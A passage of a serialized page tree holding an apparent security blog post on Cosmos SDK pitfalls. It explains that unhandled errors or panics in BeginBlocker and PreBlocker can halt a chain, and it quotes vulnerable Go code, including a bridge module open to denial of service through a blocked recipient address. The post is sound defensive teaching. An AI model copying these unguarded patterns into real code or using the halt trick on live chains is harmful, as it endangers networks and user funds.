:29,"value":81245},{"type":23,"tag":504,"props":83079,"children":83080},{"style":5058},[83081],{"type":29,"value":4367},{"type":23,"tag":504,"props":83083,"children":83084},{"style":5041},[83085],{"type":29,"value":82125},{"type":23,"tag":504,"props":83087,"children":83088},{"style":5058},[83089],{"type":29,"value":5200},{"type":23,"tag":504,"props":83091,"children":83093},{"class":5016,"line":83092},58,[83094],{"type":23,"tag":504,"props":83095,"children":83096},{"style":5058},[83097],{"type":29,"value":5403},{"type":23,"tag":504,"props":83099,"children":83101},{"class":5016,"line":83100},59,[83102],{"type":23,"tag":504,"props":83103,"children":83104},{"style":5058},[83105],{"type":29,"value":5965},{"type":23,"tag":32,"props":83107,"children":83108},{},[83109,83111,83116,83118,83125,83126,83133],{"type":29,"value":83110},"Additional examples of incorrect ",{"type":23,"tag":154,"props":83112,"children":83114},{"className":83113},[],[83115],{"type":29,"value":80534},{"type":29,"value":83117}," usage include ",{"type":23,"tag":68,"props":83119,"children":83122},{"href":83120,"rel":83121},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[72],[83123],{"type":29,"value":83124},"yet more bypassable checks and loss of funds",{"type":29,"value":4478},{"type":23,"tag":68,"props":83127,"children":83130},{"href":83128,"rel":83129},"https://github.com/cosmos/ibc-go/issues/853",[72],[83131],{"type":29,"value":83132},"incorrect data passing between blockchains",{"type":29,"value":357},{"type":23,"tag":24,"props":83135,"children":83137},{"id":83136},"errors-panics-i-can-handle-it",[83138],{"type":29,"value":83139},"Errors? Panics? I can handle it",{"type":23,"tag":32,"props":83141,"children":83142},{},[83143],{"type":29,"value":83144},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":23,"tag":32,"props":83146,"children":83147},{},[83148],{"type":29,"value":83149},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":23,"tag":32,"props":83151,"children":83152},{},[83153,83155,83161,83163,83168],{"type":29,"value":83154},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":23,"tag":154,"props":83156,"children":83158},{"className":83157},[],[83159],{"type":29,"value":83160},"k.keeper.TotalReward()",{"type":29,"value":83162}," returns zero, the ",{"type":23,"tag":154,"props":83164,"children":83166},{"className":83165},[],[83167],{"type":29,"value":60007},{"type":29,"value":83169}," execution will simply rollback as if nothing has happened.",{"type":23,"tag":4743,"props":83171,"children":83173},{"code":83172,"language":78229,"meta":7,"className":78230,"style":7},"func (k msgServer) AllocateReward(\n    goCtx context.Context,\n    msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n    RewardPerShare := k.keeper.Shares() /  k.keeper.TotalReward()\n    k.keeper.DistributeReward(RewardPerShare)\n\n    return &types.MsgAllocateRewardResponse, nil\n}\n",[83174],{"type":23,"tag":154,"props":83175,"children":83176},{"__ignoreMap":7},[83177,83210,83233,83261,83297,83304,83373,83411,83418,83450],{"type":23,"tag":504,"props":83178,"children":83179},{"class":5016,"line":5017},[83180,83184,83188,83193,83197,83201,83206],{"type":23,"tag":504,"props":83181,"children":83182},{"style":5030},[83183],{"type":29,"value":78365},{"type":23,"tag":504,"props":83185,"children":83186},{"style":5058},[83187],{"type":29,"value":5110},{"type":23,"tag":504,"props":83189,"children":83190},{"style":5041},[83191],{"type":29,"value":83192},"k ",{"type":23,"tag":504,"props":83194,"children":83195},{"style":5467},[83196],{"type":29,"value":78379},{"type":23,"tag":504,"props":83198,"children":83199},{"style":5058},[83200],{"type":29,"value":5128},{"type":23,"tag":504,"props":83202,"children":83203},{"style":5139},[83204],{"type":29,"value":83205},"AllocateReward",{"type":23,"tag":504,"props":83207,"children":83208},{"style":5058},[83209],{"type":29,"value":5512},{"type":23,"tag":504,"props":83211,"children":83212},{"class":5016,"line":4868},[83213,83217,83221,83225,83229],{"type":23,"tag":504,"props":83214,"children":83215},{"style":5041},[83216],{"type":29,"value":78400},{"type":23,"tag":504,"props":83218,"children":83219},{"style":5467},[83220],{"type":29,"value":78405},{"type":23,"tag":504,"props":83222,"children":83223},{"style":5058},[83224],{"type":29,"value":357},{"type":23,"tag":504,"props":83226,"children":83227},{"style":5467},[83228],{"type":29,"value":78414},{"type":23,"tag":504,"props":83230,"children":83231},{"style":5058},[83232],{"type":29,"value":5557},{"type":23,"tag":504,"props":83234,"children":83235},{"class":5016,"line":4876},[83236,83240,83244,83248,83252,83257],{"type":23,"tag":504,"props":83237,"children":83238},{"style":5041},[83239],{"type":29,"value":78426},{"type":23,"tag":504,"props":83241,"children":83242},{"style":5047},[83243],{"type":29,"value":11863},{"type":23,"tag":504,"props":83245,"children":83246},{"style":5467},[83247],{"type":29,"value":7804},{"type":23,"tag":504,"props":83249,"children":83250},{"style":5058},[83251],{"type":29,"value":357},{"type":23,"tag":504,"props":83253,"children":83254},{"style":5467},[83255],{"type":29,"value":83256},"MsgAllocateReward",{"type":23,"tag":504,"props":83258,"children":83259},{"style":5058},[83260],{"type":29,"value":5200},{"type":23,"tag":504,"props":83262,"children":83263},{"class":5016,"line":5099},[83264,83268,83272,83276,83280,83285,83289,83293],{"type":23,"tag":504,"props":83265,"children":83266},{"style":5058},[83267],{"type":29,"value":603},{"type":23,"tag":504,"props":83269,"children":83270},{"style":5047},[83271],{"type":29,"value":6613},{"type":23,"tag":504,"props":83273,"children":83274},{"style":5467},[83275],{"type":29,"value":7804},{"type":23,"tag":504,"props":83277,"children":83278},{"style":5058},[83279],{"type":29,"value":357},{"type":23,"tag":504,"props":83281,"children":83282},{"style":5467},[83283],{"type":29,"value":83284},"MsgAllocatRewardResponse",{"type":23,"tag":504,"props":83286,"children":83287},{"style":5058},[83288],{"type":29,"value":4367},{"type":23,"tag":504,"props":83290,"children":83291},{"style":5467},[83292],{"type":29,"value":16910},{"type":23,"tag":504,"props":83294,"children":83295},{"style":5058},[83296],{"type":29,"value":16850},{"type":23,"tag":504,"props":83298,"children":83299},{"class":5016,"line":5203},[83300],{"type":23,"tag":504,"props":83301,"children":83302},{"emptyLinePlaceholder":15},[83303],{"type":29,"value":5734},{"type":23,"tag":504,"props":83305,"children":83306},{"class":5016,"line":5308},[83307,83312,83316,83321,83325,83330,83334,83339,83343,83347,83352,83356,83360,83364,83369],{"type":23,"tag":504,"props":83308,"children":83309},{"style":5041},[83310],{"type":29,"value":83311},"    RewardPerShare",{"type":23,"tag":504,"props":83313,"children":83314},{"style":5047},[83315],{"type":29,"value":78481},{"type":23,"tag":504,"props":83317,"children":83318},{"style":5041},[83319],{"type":29,"value":83320}," k",{"type":23,"tag":504,"props":83322,"children":83323},{"style":5058},[83324],{"type":29,"value":357},{"type":23,"tag":504,"props":83326,"children":83327},{"style":5041},[83328],{"type":29,"value":83329},"keeper",{"type":23,"tag":504,"props":83331,"children":83332},{"style":5058},[83333],{"type":29,"value":357},{"type":23,"tag":504,"props":83335,"children":83336},{"style":5139},[83337],{"type":29,"value":83338},"Shares",{"type":23,"tag":504,"props":83340,"children":83341},{"style":5058},[83342],{"type":29,"value":16089},{"type":23,"tag":504,"props":83344,"children":83345},{"style":5047},[83346],{"type":29,"value":6623},{"type":23,"tag":504,"props":83348,"children":83349},{"style":5041},[83350],{"type":29,"value":83351},"  k",{"type":23,"tag":504,"props":83353,"children":83354},{"style":5058},[83355],{"type":29,"value":357},{"type":23,"tag":504,"props":83357,"children":83358},{"style":5041},[83359],{"type":29,"value":83329},{"type":23,"tag":504,"props":83361,"children":83362},{"style":5058},[83363],{"type":29,"value":357},{"type":23,"tag":504,"props":83365,"children":83366},{"style":5139},[83367],{"type":29,"value":83368},"TotalReward",{"type":23,"tag":504,"props":83370,"children":83371},{"style":5058},[83372],{"type":29,"value":9780},{"type":23,"tag":504,"props":83374,"children":83375},{"class":5016,"line":5336},[83376,83381,83385,83389,83393,83398,83402,83407],{"type":23,"tag":504,"props":83377,"children":83378},{"style":5041},[83379],{"type":29,"value":83380},"    k",{"type":23,"tag":504,"props":83382,"children":83383},{"style":5058},[83384],{"type":29,"value":357},{"type":23,"tag":504,"props":83386,"children":83387},{"style":5041},[83388],{"type":29,"value":83329},{"type":23,"tag":504,"props":83390,"children":83391},{"style":5058},[83392],{"type":29,"value":357},{"type":23,"tag":504,"props":83394,"children":83395},{"style":5139},[83396],{"type":29,"value":83397},"DistributeReward",{"type":23,"tag":504,"props":83399,"children":83400},{"style":5058},[83401],{"type":29,"value":603},{"type":23,"tag":504,"props":83403,"children":83404},{"style":5041},[83405],{"type":29,"value":83406},"RewardPerShare",{"type":23,"tag":504,"props":83408,"children":83409},{"style":5058},[83410],{"type":29,"value":5200},{"type":23,"tag":504,"props":83412,"children":83413},{"class":5016,"line":5349},[83414],{"type":23,"tag":504,"props":83415,"children":83416},{"emptyLinePlaceholder":15},[83417],{"type":29,"value":5734},{"type":23,"tag":504,"props":83419,"children":83420},{"class":5016,"line":5367},[83421,83425,83429,83433,83437,83442,83446],{"type":23,"tag":504,"props":83422,"children":83423},{"style":5067},[83424],{"type":29,"value":19037},{"type":23,"tag":504,"props":83426,"children":83427},{"style":5047},[83428],{"type":29,"value":9185},{"type":23,"tag":504,"props":83430,"children":83431},{"style":5041},[83432],{"type":29,"value":7804},{"type":23,"tag":504,"props":83434,"children":83435},{"style":5058},[83436],{"type":29,"value":357},{"type":23,"tag":504,"props":83438,"children":83439},{"style":5041},[83440],{"type":29,"value":83441},"MsgAllocateRewardResponse",{"type":23,"tag":504,"props":83443,"children":83444},{"style":5058},[83445],{"type":29,"value":4367},{"type":23,"tag":504,"props":83447,"children":83448},{"style":5030},[83449],{"type":29,"value":78707},{"type":23,"tag":504,"props":83451,"children":83452},{"class":5016,"line":5388},[83453],{"type":23,"tag":504,"props":83454,"children":83455},{"style":5058},[83456],{"type":29,"value":5965},{"type":23,"tag":32,"props":83458,"children":83459},{},[83460,83462,83468,83469,83475,83476,83482,83484,83489],{"type":29,"value":83461},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":23,"tag":154,"props":83463,"children":83465},{"className":83464},[],[83466],{"type":29,"value":83467},"PreBlocker",{"type":29,"value":4367},{"type":23,"tag":154,"props":83470,"children":83472},{"className":83471},[],[83473],{"type":29,"value":83474},"BeginBlocker",{"type":29,"value":4375},{"type":23,"tag":154,"props":83477,"children":83479},{"className":83478},[],[83480],{"type":29,"value":83481},"EndBlocker",{"type":29,"value":83483},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":23,"tag":154,"props":83485,"children":83487},{"className":83486},[],[83488],{"type":29,"value":83474},{"type":29,"value":83490}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":23,"tag":4743,"props":83492,"children":83494},{"code":83493,"language":78229,"meta":7,"className":78230,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n    RewardPerShare := keeper.Shares() /  keeper.TotalReward()\n    keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[83495],{"type":23,"tag":154,"props":83496,"children":83497},{"__ignoreMap":7},[83498,83563,83570,83618,83646,83653,83665],{"type":23,"tag":504,"props":83499,"children":83500},{"class":5016,"line":5017},[83501,83505,83510,83514,83518,83522,83526,83530,83534,83538,83543,83547,83551,83555,83559],{"type":23,"tag":504,"props":83502,"children":83503},{"style":5030},[83504],{"type":29,"value":78365},{"type":23,"tag":504,"props":83506,"children":83507},{"style":5139},[83508],{"type":29,"value":83509}," BeginBlocker",{"type":23,"tag":504,"props":83511,"children":83512},{"style":5058},[83513],{"type":29,"value":603},{"type":23,"tag":504,"props":83515,"children":83516},{"style":5041},[83517],{"type":29,"value":22333},{"type":23,"tag":504,"props":83519,"children":83520},{"style":5467},[83521],{"type":29,"value":78405},{"type":23,"tag":504,"props":83523,"children":83524},{"style":5058},[83525],{"type":29,"value":357},{"type":23,"tag":504,"props":83527,"children":83528},{"style":5467},[83529],{"type":29,"value":78414},{"type":23,"tag":504,"props":83531,"children":83532},{"style":5058},[83533],{"type":29,"value":4367},{"type":23,"tag":504,"props":83535,"children":83536},{"style":5041},[83537],{"type":29,"value":83329},{"type":23,"tag":504,"props":83539,"children":83540},{"style":5467},[83541],{"type":29,"value":83542}," keeper",{"type":23,"tag":504,"props":83544,"children":83545},{"style":5058},[83546],{"type":29,"value":357},{"type":23,"tag":504,"props":83548,"children":83549},{"style":5467},[83550],{"type":29,"value":82009},{"type":23,"tag":504,"props":83552,"children":83553},{"style":5058},[83554],{"type":29,"value":5128},{"type":23,"tag":504,"props":83556,"children":83557},{"style":5467},[83558],{"type":29,"value":16910},{"type":23,"tag":504,"props":83560,"children":83561},{"style":5058},[83562],{"type":29,"value":5333},{"type":23,"tag":504,"props":83564,"children":83565},{"class":5016,"line":4868},[83566],{"type":23,"tag":504,"props":83567,"children":83568},{"emptyLinePlaceholder":15},[83569],{"type":29,"value":5734},{"type":23,"tag":504,"props":83571,"children":83572},{"class":5016,"line":4876},[83573,83577,83581,83585,83589,83593,83597,83601,83606,83610,83614],{"type":23,"tag":504,"props":83574,"children":83575},{"style":5041},[83576],{"type":29,"value":83311},{"type":23,"tag":504,"props":83578,"children":83579},{"style":5047},[83580],{"type":29,"value":78481},{"type":23,"tag":504,"props":83582,"children":83583},{"style":5041},[83584],{"type":29,"value":83542},{"type":23,"tag":504,"props":83586,"children":83587},{"style":5058},[83588],{"type":29,"value":357},{"type":23,"tag":504,"props":83590,"children":83591},{"style":5139},[83592],{"type":29,"value":83338},{"type":23,"tag":504,"props":83594,"children":83595},{"style":5058},[83596],{"type":29,"value":16089},{"type":23,"tag":504,"props":83598,"children":83599},{"style":5047},[83600],{"type":29,"value":6623},{"type":23,"tag":504,"props":83602,"children":83603},{"style":5041},[83604],{"type":29,"value":83605},"  keeper",{"type":23,"tag":504,"props":83607,"children":83608},{"style":5058},[83609],{"type":29,"value":357},{"type":23,"tag":504,"props":83611,"children":83612},{"style":5139},[83613],{"type":29,"value":83368},{"type":23,"tag":504,"props":83615,"children":83616},{"style":5058},[83617],{"type":29,"value":9780},{"type":23,"tag":504,"props":83619,"children":83620},{"class":5016,"line":5099},[83621,83626,83630,83634,83638,83642],{"type":23,"tag":504,"props":83622,"children":83623},{"style":5041},[83624],{"type":29,"value":83625},"    keeper",{"type":23,"tag":504,"props":83627,"children":83628},{"style":5058},[83629],{"type":29,"value":357},{"type":23,"tag":504,"props":83631,"children":83632},{"style":5139},[83633],{"type":29,"value":83397},{"type":23,"tag":504,"props":83635,"children":83636},{"style":5058},[83637],{"type":29,"value":603},{"type":23,"tag":504,"props":83639,"children":83640},{"style":5041},[83641],{"type":29,"value":83406},{"type":23,"tag":504,"props":83643,"children":83644},{"style":5058},[83645],{"type":29,"value":5200},{"type":23,"tag":504,"props":83647,"children":83648},{"class":5016,"line":5203},[83649],{"type":23,"tag":504,"props":83650,"children":83651},{"emptyLinePlaceholder":15},[83652],{"type":29,"value":5734},{"type":23,"tag":504,"props":83654,"children":83655},{"class":5016,"line":5308},[83656,83660],{"type":23,"tag":504,"props":83657,"children":83658},{"style":5067},[83659],{"type":29,"value":54927},{"type":23,"tag":504,"props":83661,"children":83662},{"style":5030},[83663],{"type":29,"value":83664}," nil\n",{"type":23,"tag":504,"props":83666,"children":83667},{"class":5016,"line":5336},[83668],{"type":23,"tag":504,"props":83669,"children":83670},{"style":5058},[83671],{"type":29,"value":5965},{"type":23,"tag":320,"props":83673,"children":83675},{"id":83674},"real-world-examples-3",[83676],{"type":29,"value":78754},{"type":23,"tag":32,"props":83678,"children":83679},{},[83680],{"type":29,"value":83681},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":23,"tag":32,"props":83683,"children":83684},{},[83685,83687,83693,83695,83700,83702,83708,83710,83716,83718,83724],{"type":29,"value":83686},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":23,"tag":154,"props":83688,"children":83690},{"className":83689},[],[83691],{"type":29,"value":83692},"bankKeeper.SendCoinsFromModuleToAccount",{"type":29,"value":83694}," will be bubbled up through ",{"type":23,"tag":154,"props":83696,"children":83698},{"className":83697},[],[83699],{"type":29,"value":83467},{"type":29,"value":83701}," and halt the chain. It turns out an attacker can force ",{"type":23,"tag":154,"props":83703,"children":83705},{"className":83704},[],[83706],{"type":29,"value":83707},"SendCoinsFromModuleToAccount",{"type":29,"value":83709}," to return an error by setting ",{"type":23,"tag":154,"props":83711,"children":83713},{"className":83712},[],[83714],{"type":29,"value":83715},"recipient",{"type":29,"value":83717}," to some ",{"type":23,"tag":154,"props":83719,"children":83721},{"className":83720},[],[83722],{"type":29,"value":83723},"BlockedAddr",{"type":29,"value":83725},",rendering the code susceptible to DoS attacks.",{"type":23,"tag":32,"props":83727,"children":83728},{},[83729],{"type":23,"tag":68,"props":83730,"children":83733},{"href":83731,"rel":83732},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[72],[83734],{"type":29,"value":78804},{"type":23,"tag":4743,"props":83736,"children":83738},{"code":83737,"language":78229,"meta":7,"className":78230,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n    return func(\n        ctx sdk.Context,\n        req *cmtabci.RequestFinalizeBlock,\n    ) (*sdk.ResponsePreBlock, error) {\n        ...\n        err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n        if err != nil {\n            return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n        }\n        ...\n    }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n    ctx sdk.Context,\n    events types.AssetsLockedEvents,\n) error {\n    ...\n    for _, event := range events {\n        recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n        if err != nil {\n            return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n        }\n\n        if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n            err = k.mintBTC(ctx, recipient, event.Amount)\n            if err != nil {\n                return fmt.Errorf(\n                    \"failed to mint BTC for event %v: %w\",\n                    event.Sequence,\n                    err,\n                )\n            }\n        } else {\n            ...\n        }\n    }\n    ...\n}\n\nfunc (k Keeper) mintBTC(\n    ctx sdk.Context,\n    recipient sdk.AccAddress,\n    amount math.Int,\n) error {\n    ...\n    err = k.bankKeeper.SendCoinsFromModuleToAccount(\n        ctx,\n        types.ModuleName,\n        recipient,\n        coins,\n    )\n    if err != nil {\n        return fmt.Errorf(\"failed to send coins: %w\", err)\n    }\n    ...\n}\n",[83739],{"type":23,"tag":154,"props":83740,"children":83741},{"__ignoreMap":7},[83742,83795,83810,83833,83863,83899,83907,83963,83987,84037,84044,84051,84058,84065,84072,84103,84126,84151,84166,84173,84210,84264,84287,84328,84335,84342,84393,84454,84477,84500,84512,84533,84545,84553,84560,84575,84583,84590,84597,84604,84611,84618,84649,84672,84697,84722,84737,84744,84781,84792,84813,84824,84836,84843,84866,84906,84913,84920],{"type":23,"tag":504,"props":83743,"children":83744},{"class":5016,"line":5017},[83745,83749,83753,83758,83762,83767,83771,83775,83779,83783,83787,83791],{"type":23,"tag":504,"props":83746,"children":83747},{"style":5030},[83748],{"type":29,"value":78365},{"type":23,"tag":504,"props":83750,"children":83751},{"style":5058},[83752],{"type":29,"value":5110},{"type":23,"tag":504,"props":83754,"children":83755},{"style":5041},[83756],{"type":29,"value":83757},"pbh ",{"type":23,"tag":504,"props":83759,"children":83760},{"style":5047},[83761],{"type":29,"value":6613},{"type":23,"tag":504,"props":83763,"children":83764},{"style":5467},[83765],{"type":29,"value":83766},"PreBlockHandler",{"type":23,"tag":504,"props":83768,"children":83769},{"style":5058},[83770],{"type":29,"value":5128},{"type":23,"tag":504,"props":83772,"children":83773},{"style":5139},[83774],{"type":29,"value":83467},{"type":23,"tag":504,"props":83776,"children":83777},{"style":5058},[83778],{"type":29,"value":16089},{"type":23,"tag":504,"props":83780,"children":83781},{"style":5467},[83782],{"type":29,"value":80794},{"type":23,"tag":504,"props":83784,"children":83785},{"style":5058},[83786],{"type":29,"value":357},{"type":23,"tag":504,"props":83788,"children":83789},{"style":5467},[83790],{"type":29,"value":83467},{"type":23,"tag":504,"props":83792,"children":83793},{"style":5058},[83794],{"type":29,"value":5333},{"type":23,"tag":504,"props":83796,"children":83797},{"class":5016,"line":4868},[83798,83802,83806],{"type":23,"tag":504,"props":83799,"children":83800},{"style":5067},[83801],{"type":29,"value":19037},{"type":23,"tag":504,"props":83803,"children":83804},{"style":5030},[83805],{"type":29,"value":82073},{"type":23,"tag":504,"props":83807,"children":83808},{"style":5058},[83809],{"type":29,"value":5512},{"type":23,"tag":504,"props":83811,"children":83812},{"class":5016,"line":4876},[83813,83817,83821,83825,83829],{"type":23,"tag":504,"props":83814,"children":83815},{"style":5041},[83816],{"type":29,"value":28239},{"type":23,"tag":504,"props":83818,"children":83819},{"style":5467},[83820],{"type":29,"value":80705},{"type":23,"tag":504,"props":83822,"children":83823},{"style":5058},[83824],{"type":29,"value":357},{"type":23,"tag":504,"props":83826,"children":83827},{"style":5467},[83828],{"type":29,"value":78414},{"type":23,"tag":504,"props":83830,"children":83831},{"style":5058},[83832],{"type":29,"value":5557},{"type":23,"tag":504,"props":83834,"children":83835},{"class":5016,"line":5099},[83836,83841,83845,83850,83854,83859],{"type":23,"tag":504,"props":83837,"children":83838},{"style":5041},[83839],{"type":29,"value":83840},"        req",{"type":23,"tag":504,"props":83842,"children":83843},{"style":5047},[83844],{"type":29,"value":11863},{"type":23,"tag":504,"props":83846,"children":83847},{"style":5467},[83848],{"type":29,"value":83849},"cmtabci",{"type":23,"tag":504,"props":83851,"children":83852},{"style":5058},[83853],{"type":29,"value":357},{"type":23,"tag":504,"props":83855,"children":83856},{"style":5467},[83857],{"type":29,"value":83858},"RequestFinalizeBlock",{"type":23,"tag":504,"props":83860,"children":83861},{"style":5058},[83862],{"type":29,"value":5557},{"type":23,"tag":504,"props":83864,"children":83865},{"class":5016,"line":5203},[83866,83870,83874,83878,83882,83887,83891,83895],{"type":23,"tag":504,"props":83867,"children":83868},{"style":5058},[83869],{"type":29,"value":82141},{"type":23,"tag":504,"props":83871,"children":83872},{"style":5047},[83873],{"type":29,"value":6613},{"type":23,"tag":504,"props":83875,"children":83876},{"style":5467},[83877],{"type":29,"value":80794},{"type":23,"tag":504,"props":83879,"children":83880},{"style":5058},[83881],{"type":29,"value":357},{"type":23,"tag":504,"props":83883,"children":83884},{"style":5467},[83885],{"type":29,"value":83886},"ResponsePreBlock",{"type":23,"tag":504,"props":83888,"children":83889},{"style":5058},[83890],{"type":29,"value":4367},{"type":23,"tag":504,"props":83892,"children":83893},{"style":5467},[83894],{"type":29,"value":16910},{"type":23,"tag":504,"props":83896,"children":83897},{"style":5058},[83898],{"type":29,"value":16850},{"type":23,"tag":504,"props":83900,"children":83901},{"class":5016,"line":5308},[83902],{"type":23,"tag":504,"props":83903,"children":83904},{"style":5047},[83905],{"type":29,"value":83906},"        ...\n",{"type":23,"tag":504,"props":83908,"children":83909},{"class":5016,"line":5336},[83910,83915,83919,83924,83928,83933,83937,83942,83946,83950,83954,83959],{"type":23,"tag":504,"props":83911,"children":83912},{"style":5041},[83913],{"type":29,"value":83914},"        err",{"type":23,"tag":504,"props":83916,"children":83917},{"style":5047},[83918],{"type":29,"value":78481},{"type":23,"tag":504,"props":83920,"children":83921},{"style":5041},[83922],{"type":29,"value":83923}," pbh",{"type":23,"tag":504,"props":83925,"children":83926},{"style":5058},[83927],{"type":29,"value":357},{"type":23,"tag":504,"props":83929,"children":83930},{"style":5041},[83931],{"type":29,"value":83932},"bridgeKeeper",{"type":23,"tag":504,"props":83934,"children":83935},{"style":5058},[83936],{"type":29,"value":357},{"type":23,"tag":504,"props":83938,"children":83939},{"style":5139},[83940],{"type":29,"value":83941},"AcceptAssetsLocked",{"type":23,"tag":504,"props":83943,"children":83944},{"style":5058},[83945],{"type":29,"value":603},{"type":23,"tag":504,"props":83947,"children":83948},{"style":5041},[83949],{"type":29,"value":22333},{"type":23,"tag":504,"props":83951,"children":83952},{"style":5058},[83953],{"type":29,"value":4367},{"type":23,"tag":504,"props":83955,"children":83956},{"style":5041},[83957],{"type":29,"value":83958},"events",{"type":23,"tag":504,"props":83960,"children":83961},{"style":5058},[83962],{"type":29,"value":5200},{"type":23,"tag":504,"props":83964,"children":83965},{"class":5016,"line":5349},[83966,83970,83974,83978,83983],{"type":23,"tag":504,"props":83967,"children":83968},{"style":5067},[83969],{"type":29,"value":5314},{"type":23,"tag":504,"props":83971,"children":83972},{"style":5041},[83973],{"type":29,"value":50584},{"type":23,"tag":504,"props":83975,"children":83976},{"style":5047},[83977],{"type":29,"value":66449},{"type":23,"tag":504,"props":83979,"children":83980},{"style":5030},[83981],{"type":29,"value":83982}," nil",{"type":23,"tag":504,"props":83984,"children":83985},{"style":5058},[83986],{"type":29,"value":5333},{"type":23,"tag":504,"props":83988,"children":83989},{"class":5016,"line":5367},[83990,83994,83998,84002,84007,84011,84016,84020,84025,84029,84033],{"type":23,"tag":504,"props":83991,"children":83992},{"style":5067},[83993],{"type":29,"value":81140},{"type":23,"tag":504,"props":83995,"children":83996},{"style":5030},[83997],{"type":29,"value":83982},{"type":23,"tag":504,"props":83999,"children":84000},{"style":5058},[84001],{"type":29,"value":4367},{"type":23,"tag":504,"props":84003,"children":84004},{"style":5041},[84005],{"type":29,"value":84006},"fmt",{"type":23,"tag":504,"props":84008,"children":84009},{"style":5058},[84010],{"type":29,"value":357},{"type":23,"tag":504,"props":84012,"children":84013},{"style":5139},[84014],{"type":29,"value":84015},"Errorf",{"type":23,"tag":504,"props":84017,"children":84018},{"style":5058},[84019],{"type":29,"value":603},{"type":23,"tag":504,"props":84021,"children":84022},{"style":6297},[84023],{"type":29,"value":84024},"\"cannot accept AssetsLocked events: %w\"",{"type":23,"tag":504,"props":84026,"children":84027},{"style":5058},[84028],{"type":29,"value":4367},{"type":23,"tag":504,"props":84030,"children":84031},{"style":5041},[84032],{"type":29,"value":50483},{"type":23,"tag":504,"props":84034,"children":84035},{"style":5058},[84036],{"type":29,"value":5200},{"type":23,"tag":504,"props":84038,"children":84039},{"class":5016,"line":5388},[84040],{"type":23,"tag":504,"props":84041,"children":84042},{"style":5058},[84043],{"type":29,"value":5394},{"type":23,"tag":504,"props":84045,"children":84046},{"class":5016,"line":5397},[84047],{"type":23,"tag":504,"props":84048,"children":84049},{"style":5047},[84050],{"type":29,"value":83906},{"type":23,"tag":504,"props":84052,"children":84053},{"class":5016,"line":5649},[84054],{"type":23,"tag":504,"props":84055,"children":84056},{"style":5058},[84057],{"type":29,"value":5403},{"type":23,"tag":504,"props":84059,"children":84060},{"class":5016,"line":5666},[84061],{"type":23,"tag":504,"props":84062,"children":84063},{"style":5058},[84064],{"type":29,"value":5965},{"type":23,"tag":504,"props":84066,"children":84067},{"class":5016,"line":5683},[84068],{"type":23,"tag":504,"props":84069,"children":84070},{"emptyLinePlaceholder":15},[84071],{"type":29,"value":5734},{"type":23,"tag":504,"props":84073,"children":84074},{"class":5016,"line":5696},[84075,84079,84083,84087,84091,84095,84099],{"type":23,"tag":504,"props":84076,"children":84077},{"style":5030},[84078],{"type":29,"value":78365},{"type":23,"tag":504,"props":84080,"children":84081},{"style":5058},[84082],{"type":29,"value":5110},{"type":23,"tag":504,"props":84084,"children":84085},{"style":5041},[84086],{"type":29,"value":83192},{"type":23,"tag":504,"props":84088,"children":84089},{"style":5467},[84090],{"type":29,"value":82009},{"type":23,"tag":504,"props":84092,"children":84093},{"style":5058},[84094],{"type":29,"value":5128},{"type":23,"tag":504,"props":84096,"children":84097},{"style":5139},[84098],{"type":29,"value":83941},{"type":23,"tag":504,"props":84100,"children":84101},{"style":5058},[84102],{"type":29,"value":5512},{"type":23,"tag":504,"props":84104,"children":84105},{"class":5016,"line":5705},[84106,84110,84114,84118,84122],{"type":23,"tag":504,"props":84107,"children":84108},{"style":5041},[84109],{"type":29,"value":22276},{"type":23,"tag":504,"props":84111,"children":84112},{"style":5467},[84113],{"type":29,"value":80705},{"type":23,"tag":504,"props":84115,"children":84116},{"style":5058},[84117],{"type":29,"value":357},{"type":23,"tag":504,"props":84119,"children":84120},{"style":5467},[84121],{"type":29,"value":78414},{"type":23,"tag":504,"props":84123,"children":84124},{"style":5058},[84125],{"type":29,"value":5557},{"type":23,"tag":504,"props":84127,"children":84128},{"class":5016,"line":5728},[84129,84134,84138,84142,84147],{"type":23,"tag":504,"props":84130,"children":84131},{"style":5041},[84132],{"type":29,"value":84133},"    events",{"type":23,"tag":504,"props":84135,"children":84136},{"style":5467},[84137],{"type":29,"value":80239},{"type":23,"tag":504,"props":84139,"children":84140},{"style":5058},[84141],{"type":29,"value":357},{"type":23,"tag":504,"props":84143,"children":84144},{"style":5467},[84145],{"type":29,"value":84146},"AssetsLockedEvents",{"type":23,"tag":504,"props":84148,"children":84149},{"style":5058},[84150],{"type":29,"value":5557},{"type":23,"tag":504,"props":84152,"children":84153},{"class":5016,"line":5737},[84154,84158,84162],{"type":23,"tag":504,"props":84155,"children":84156},{"style":5058},[84157],{"type":29,"value":5128},{"type":23,"tag":504,"props":84159,"children":84160},{"style":5467},[84161],{"type":29,"value":16910},{"type":23,"tag":504,"props":84163,"children":84164},{"style":5058},[84165],{"type":29,"value":5333},{"type":23,"tag":504,"props":84167,"children":84168},{"class":5016,"line":5746},[84169],{"type":23,"tag":504,"props":84170,"children":84171},{"style":5047},[84172],{"type":29,"value":22392},{"type":23,"tag":504,"props":84174,"children":84175},{"class":5016,"line":5813},[84176,84180,84184,84